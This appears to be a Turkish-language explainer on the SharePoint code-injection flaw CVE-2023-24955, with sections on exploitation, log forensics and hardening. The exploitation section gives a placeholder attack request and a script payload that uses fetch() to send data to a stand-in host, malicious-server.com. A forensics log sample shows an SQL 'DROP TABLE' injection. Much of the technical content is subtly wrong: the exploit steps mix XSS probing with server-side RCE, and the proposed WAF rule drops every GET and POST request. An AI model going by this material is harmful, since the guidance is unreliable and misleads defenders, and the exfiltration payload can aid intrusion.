CVE-2023-24955: Microsoft SharePoint Server Code Injection Vulnerability
Zorluk Seviyesi: Orta | Kaynak: CISA KEV
Zafiyet Analizi ve Giriş
Microsoft SharePoint Server, işbirliği ve içerik yönetimi platformları arasında yaygın bir çözümdür. Ancak, CVE-2023-24955 kodu ile tanımlanan bir güvenlik açığı, bu platformun güvenliğini tehdit eden önemli bir zafiyettir. Bu zafiyet, doğrulanmış bir saldırganın Site Sahibi (Site Owner) yetkilerine sahip olduğu durumlarda uzaktan kod çalıştırma (RCE - Remote Code Execution) olanağı sunmaktadır. Bu durum, potansiyel olarak hassas verilerin ele geçirilmesine, sistemin kontrolünün kaybına ve genel olarak kurumsal güvenlik açığına yol açabilir.
CVE-2023-24955, CWEs (Common Weakness Enumerations) arasında CWE-94 olarak kategorilendirilmiştir, bu da kod enjeksiyonu (Code Injection) zafiyetlerine atıfta bulunmaktadır. Zafiyet, Microsoft SharePoint Server'ın kullanıcı girdilerini yeterince güvenli bir şekilde işleyememesi sonucunda ortaya çıkmaktadır. Özellikle uygulamanın backend kodunda, kötü niyetli kullanıcıların sistem üzerinde zararlı komutlar çalıştırmalarına olanak tanıyan bir zayıflık mevcut. Bu, SharePoint uygulamasının getirdiği esnekliği kötüye kullanarak, bir saldırganın sunucunun işlevselliğini tehlikeye atmasına neden olabilir.
Küresel ölçekte bakıldığında, bu zafiyet birçok sektörü etkilemektedir. Özellikle eğitim, sağlık hizmetleri, finansal hizmetler ve kamu sektörü gibi bilgi işlem kaynaklarını yoğun bir şekilde kullanan işletmeler, önemli risklerle karşı karşıyadır. Bir eğitim kurumunun öğrenci verisi bazlı sistemleri ya da bir sağlık kuruluşunun hasta kayıtlarına erişiminde yaşanacak bir saldırı, çok ciddi sonuçlar doğurabilir. Dolayısıyla, bu tür zafiyetlerin tespit edilmesi ve önlenmesi, kurumsal güvenlik stratejilerinin temel taşını oluşturur.
Gerçek dünya senaryolarında, bu tür bir zafiyeti kullanmak isteyen bir saldırgan, SharePoint sunucusuna sızdıktan sonra, uygulama içindeki form elemanlarını veya API endpoint'lerini hedef alabilir. Aşağıda verilecek örnek senaryoda, bir saldırganın nasıl hareket edebileceğine ışık tutulmaktadır:
# Kötü şeklilde tasarlanmış bir istek örneği
import requests
url = "http://target-sharepoint-server/_layouts/15/confirm.aspx"
payload = {
"command": "malicious_command_here"
}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("Kod başarılı bir şekilde çalıştırıldı!")
else:
print("Bir hata meydana geldi.")
Bu örnek, saldırganın uzaktan komut çalıştırma yeteneğine sahip olduğu durumlarda nasıl hareket edebileceğini göstermektedir. Kötü niyetli bir kullanıcı, yukarıdaki kodu SharePoint platformuna entegre edebilir ve sisteme zarar vermek amacıyla çeşitli zararlı yazılımlar çalıştırabilir.
Microsoft, bu zafiyetle ilgili olarak bir güncelleme yayınlamış, bu güncellemeler aracılığıyla kullanıcıların sistemlerini güvende tutmaları için önerilerde bulunmuştur. Tüm SharePoint kullanıcılarının güncel yazılım sürümlerini kullanmaları, güvenlik açıklarından korunmanın en etkili yolu olarak vurgulanmaktadır.
Sonuç olarak, CVE-2023-24955, SharePoint Server üzerinde çalışan işletmeler için kritik bir uyarıdır. Kurumların bu tür güvenlik açıklarına karşı hassasiyet göstermeleri ve gerekli önlemleri hızlı bir şekilde almaları, siber güvenlik politikalarının bir parçası olmalıdır. Unutulmaması gereken en önemli nokta, siber tehditlerin sürekli evrildiği ve yeni açıkların keşfedildiği bir ortamda, proaktif bir yaklaşım benimsemenin gerekliliğidir.
Teknik Sömürü (Exploitation) ve PoC
Microsoft SharePoint Server üzerindeki CVE-2023-24955 zafiyeti, Site Owner (Site Sahibi) yetkilerine sahip bir attaçının uzaktan kod çalıştırmasına (Remote Code Execution - RCE) olanak tanıyan bir kod enjeksiyonu (code injection) zafiyetidir. Bu sebeple, bu zafiyetin teknik sömürüsü kritik önem taşımaktadır. Aşağıda bu zafiyetin sömürü aşamalarını, gerçek dünya senaryolarını ve potansiyel PoC kodlarını adım adım inceleyeceğiz.
Hedefimiz, Microsoft SharePoint Server üzerinde yetkili bir kullanıcı olarak zafiyetin sömürülmesini sağlamaktır. Sömürme süreci birkaç ana aşamadan oluşur: hazırlık, zafiyetin açık bulanma ve kodun enjekte edilmesi.
Öncelikle, bu zafiyet için hedef ortamda, SharePoint Server versiyonunun CVE-2023-24955 olarak bilinen zafiyeti barındırdığından emin olmalıyız. Hedefe giriş için Site Owner yetkilerine sahip bir hesabımız olduğunu varsayıyoruz. Bu noktada, hedefte saldırıyı gerçekleştirmek için aşağıdaki adımları izleyebiliriz:
- Zafiyetin Belirlenmesi: İlk olarak, hedef sistemdeki SharePoint içeriğine erişim sağlarız. Bu noktada, sistemin hangi versiyonunu çalıştırdığını tespit etmeliyiz. Bunun için, aşağıdaki gibi bir istek gönderebiliriz:
GET /_layouts/15/start.aspx HTTP/1.1
Host: target-sharepoint-server
Eğer sunucu, kullanıcı kimliğimizi doğruladıktan sonra SharePoint versiyonunu döndürüyor ise, bu zafiyetin mevcut olup olmadığını belirleyebilmemiz için kritik bir adım olacaktır.
Kod Enjeksiyonu İçin Zafiyeti Tespit Etme: Sonraki aşamada, zafiyeti kullanarak SharePoint uygulamasında bir kod parçasını enjekte etmek için uygun bir yer tespit etmeliyiz. SharePoint içindeki form alanları üzerinden XSS (Cross-Site Scripting) gibi zafiyetleri denetlemek, zafiyetin varlığına dair ipuçları sağlayabilir.
Payload (Yük) Hazırlama: Zafiyeti kullanabilmek için uzaktan çalışacak bir kod parçası hazırlamamız gerekecek. Örnek bir payload aşağıdaki gibi olabilir:
<script>
fetch('http://malicious-server.com:8080/attack', {
method: 'POST',
body: JSON.stringify({data: "payload data"}),
headers: {
'Content-Type': 'application/json'
}
});
</script>
Enjeksiyonun Gerçekleştirilmesi: Payload'ımızı uygun bir yere enjekte ettikten sonra, kod parçamızın çalışmasını sağlamak için paylaşım ayarlarını güncelleyebiliriz. Yayınladığımız içerik, sistem tarafından çalıştırılacak ve kodumuz uzaktan hedef makineye ulaşacaktır.
Sonuçların Gözlemlenmesi: Enjeksiyon gerçekleştikten sonra, saldırının sonuçlarını gözlemleyebilmek için tehdit analizi veya log yönetimi yapmalıyız. HTTP cevaplarında, enfekte olabilecek sistemlerin geri bildirimlerini kontrol ederek, başarılı bir saldırı gerçekleştirdiğimizi doğrulayabiliriz.
Gerçek dünya senaryolarında, bu açığı istismar eden bir saldırgan, hedefin veri tabanına uzaktan erişim elde edebilir. Ayrıca, sistem üzerinde tam yetki sahibi olarak çalışarak, istenmeyen değişiklikler yapabilir, verileri çalabilir veya daha fazlasını yapabilir.
CVE-2023-24955 zafiyeti, SharePoint Server üzerindeki kritik bir güvenlik açığıdır ve yetkili kullanıcılar tarafından istismar edilme riski taşır. Bu tür zafiyetlerin etkin bir şekilde yönetilmesi ve düzeltilmesi, sistem güvenliği açısından hayati öneme sahiptir. White Hat Hacker'lar olarak, böyle açıkların temizlenmesi ve güvenlik duvarlarının güçlendirilmesi için sürekli çalışmalıyız.
Forensics (Adli Bilişim) ve Log Analizi
Microsoft SharePoint Server üzerinde bulunan CVE-2023-24955 zafiyeti, authenticated (kimlik doğrulaması yapılmış) bir saldırganın Site Owner (Site Sahibi) ayrıcalıklarıyla uzaktan kod çalıştırma (RCE - Remote Code Execution) yeteneği kazanmasına olanak tanır. Bu tür bir zafiyet, bir organizasyonun kritik veri ve sistem bütünlüğünü tehdit etmesi açısından son derece tehlikelidir. Zafiyetin neden olduğu güvenlik açığını istismar eden bir saldırgan, SharePoint içerisinde zararlı kodları çalıştırarak, veri sızıntısına, manipülasyonuna veya hizmet kesintisine neden olabilir.
Güvenlik uzmanları, bir hedef sistemin ya da ağın güvenliğini sağlamak amacıyla, bu tür siber saldırıların izlerini doğrulamak için forensic (adli bilişim) yöntemlere yoğunlaşmalıdırlar. Bu bağlamda, saldırının yapıldığını anlamak için çeşitli log dosyaları ve SIEM (Security Information and Event Management) sistemleri üzerinde detaylı bir inceleme gerçekleştirmek gerekecektir.
Öncelikle, sistem üzerinde erişim sağlamak için yapılan giriş denemelerini takip eden Access log (Erişim kaydı) dosyalarını incelemek önemlidir. Bu loglarda, anormal giriş denemeleri, beklenmedik kullanıcı etkileşimleri veya sahte hesapların kullanılması gibi alert (uyarı) kriterlerine dikkat edilmelidir. Bunun için log dosyalarındaki aşağıdaki gibi örüntüler (patterns) gözlemlenmelidir:
2023-10-01 08:15:32 INFO User123 logged in from IP: 192.168.1.10
2023-10-01 08:15:35 WARNING User123 accessed unusual resource: /admin/panel
Bu tür girişler, kullanıcıların normal davranışlarının dışında gerçekleştirilen aktiviteleri ortaya koymaktadır ve potansiyel bir saldırıyı işaret edebilir.
Error log (Hata kaydı) dosyaları da kritik bilgiler içermektedir. Hatalar, özellikle belirli bir payload (yük) ile yapılan saldırılar sonucunda ortaya çıkabilir. Örneğin, SQL hataları veya kodun başarılı bir şekilde çalıştırılamadığını gösteren mesajlar, saldırının izlerini takip etmekte yardımcı olur. Aşağıdaki gibi mesajlar dikkatle incelenmelidir:
2023-10-01 08:15:40 ERROR Code injection attempt detected in query: SELECT * FROM Users WHERE id='1'; DROP TABLE Users;
Bu tür bir hata, bir saldırganın potansiyel bir kod enjeksiyonu (code injection) girişiminde bulunduğunu gösterir.
Bunun yanı sıra, saldırganın sistemde gerçekleştirdiği eylemler sonucunda bırakacağı imzaları tanımanın bir diğer yolu da, sistemin normal trafik profillerini analiz etmektir. Örneğin, belirli zayıflıkları hedefleyen kötü niyetli HTTP istekleri genellikle standart bir kullanıcı davranışından sapma gösterir. Bunlar arasında tahta işlemler gibi anormal başlıklar veya çok yüksek sayıda istek (flood) gibi durumlar sayılabilir.
Ayrıca, dosya değişikliklerini izleyen sistemler (file integrity monitoring) kullanılmalı ve bu sayede saldırgan tarafından yapılan zararlı değişikliklerin izleri takip edilmelidir. Zafiyetin istismarında kullanılan yazılımlar ya da araçlar, sistemde belirli dosyaların beklenmedik bir şekilde değiştirilmesi veya silinmesi ile ortaya çıkabileceğinden, bu değişikliklerin log kayıtlara yansıdığı durumlar dikkatli bir şekilde incelenmelidir.
Sonuç olarak, CVE-2023-24955 zafiyeti bağlamında, siber güvenlik uzmanlarının dikkat etmesi gereken anahtar noktalar arasında log analizinin derinlemesine yapılması, atipik davranışların izlenmesi ve potansiyel imzaların tanımlanması yer almaktadır. Bu tür bir zafiyetin sistemlerde istismar edilmesini engellemek için, proaktif güvenlik önlemleri ve tehdit modellemesi süreci sürekli olarak uygulanmalıdır.
Savunma ve Sıkılaştırma (Hardening)
Microsoft SharePoint Server üzerinde bulunan CVE-2023-24955 kod enjeksiyonu (code injection) açığı, güvenlik açısından büyük bir riski temsil etmektedir. Bu zafiyet, Site Sahibi (Site Owner) ayrıcalıklarına sahip bir kullanıcının, saldırgan bir role dönüşmesine ve uzak (remote) bir şekilde kodu çalıştırmasına olanak tanımaktadır. Bu tür bir güvenlik açığı, özellikle kurumsal ortamlarda veri ihlali ve kötü amaçlı saldırılar için kullanılabilir hale geldiği için ciddi bir tehdit oluşturur.
Bu noktada, savunma ve sıkılaştırma (hardening) teknikleri devreye girmektedir. İlk olarak, bu tür bir açığın etkisini minimize etmek için yazılım güncellemelerini zamanında yapmak en kritik adımlardan biridir. Microsoft, bu tür zayıflıkları düzeltmek için düzenli olarak güvenlik güncellemeleri yayınlamaktadır. SharePoint Server için en son güncellemeleri ve yamaları takip etmek, güvenlik açığından etkilenme olasılığını önemli ölçüde azaltır.
Açığın kapanması için aşağıdaki yöntemler uygulanabilir:
Kullanıcı Yetkilendirmeleri: SharePoint ortamında kullanıcı yetkilendirmeleri doğru bir şekilde yapılandırılmalıdır. Sadece gerçekten ihtiyaç duyan kullanıcılara Site Sahibi (Site Owner) ayrıcalıkları verilmelidir. Gereksiz kullanıcı yetkilendirmelerini kaldırarak, bu açığın etkisini sınırlama imkanı sağlanabilir.
Güvenlik Duvarı Kuralları (WAF): Uygulama düzeyinde koruma sağlamak için Web Uygulama Güvenlik Duvarı (WAF) çözümleri kullanılabilir. Örneğin, payload (yük) verisini inceleyen ve şüpheli istekleri filtreleyen yeni WAF kuralları oluşturulabilir:
SecRule REQUEST_METHOD "^(GET|POST)$" \
"id:100001, phase:2, \
t:none, \
t:lowercase, \
t:urlDecodeUni, \
t:htmlEntityDecode, \
msg:'Potential Code Injection Attack Detected', \
severity:CRITICAL, \
drop"
Güvenlik ve Olay Yönetimi: SharePoint sunucusunun güvenlik loglarını düzenli olarak izlemek, zamanında müdahale için kritik öneme sahiptir. Güvenlik izleme sistemleri (SIEM) kullanarak, herhangi bir şüpheli davranış anında tespit edilebilir.
Kod Taraması ve Güvenlik Testi: SharePoint uygulamanızda sık sık statik ve dinamik kod tarama araçları kullanmalısınız. Bu araçlar, yazılımda gizli zafiyetlerin tespit edilmesine yardımcı olabilir. Bir bu tür aracın kullanımı örneğin, son güncellemelerdeki bilinen zayıflıkların analizi için önemli olacaktır.
Eğitim ve Farkındalık: Son kullanıcıların sosyal mühendislik (social engineering) saldırılarına karşı bilinçlendirilmesi büyük önem taşır. Güvenlik farkındalığı eğitimleri ile olası saldırı yöntemleri ve engellenmeleri hakkında bilgi sahibi olmaları sağlanabilir.
Son olarak, kalıcı sıkılaştırma önerileri arasında sıkı bir güvenlik politika çerçevesi oluşturmak yer alır. Bu politika, kullanıcı yetkilerinin, güncellemelerin ve koruma önlemlerinin standartlarını belirlemelidir. SharePoint sunucusunun harici erişimine kısıtlamalar getirilmesi, örneğin yalnızca belirli IP adreslerinden bağlantıya izin verilmesi, bu tür açıkların kötüye kullanılmasını zorlaştıracaktır.
Unutulmamalıdır ki, güvenlik sürekli bir süreçtir ve her zaman daha iyi bir savunma için çaba göstermek gerekmektedir. Kısa vadeli önlemler kadar uzun vadeli stratejilerin de uygulanması, bu tür zafiyetlere karşı en etkili savunmayı oluşturacaktır.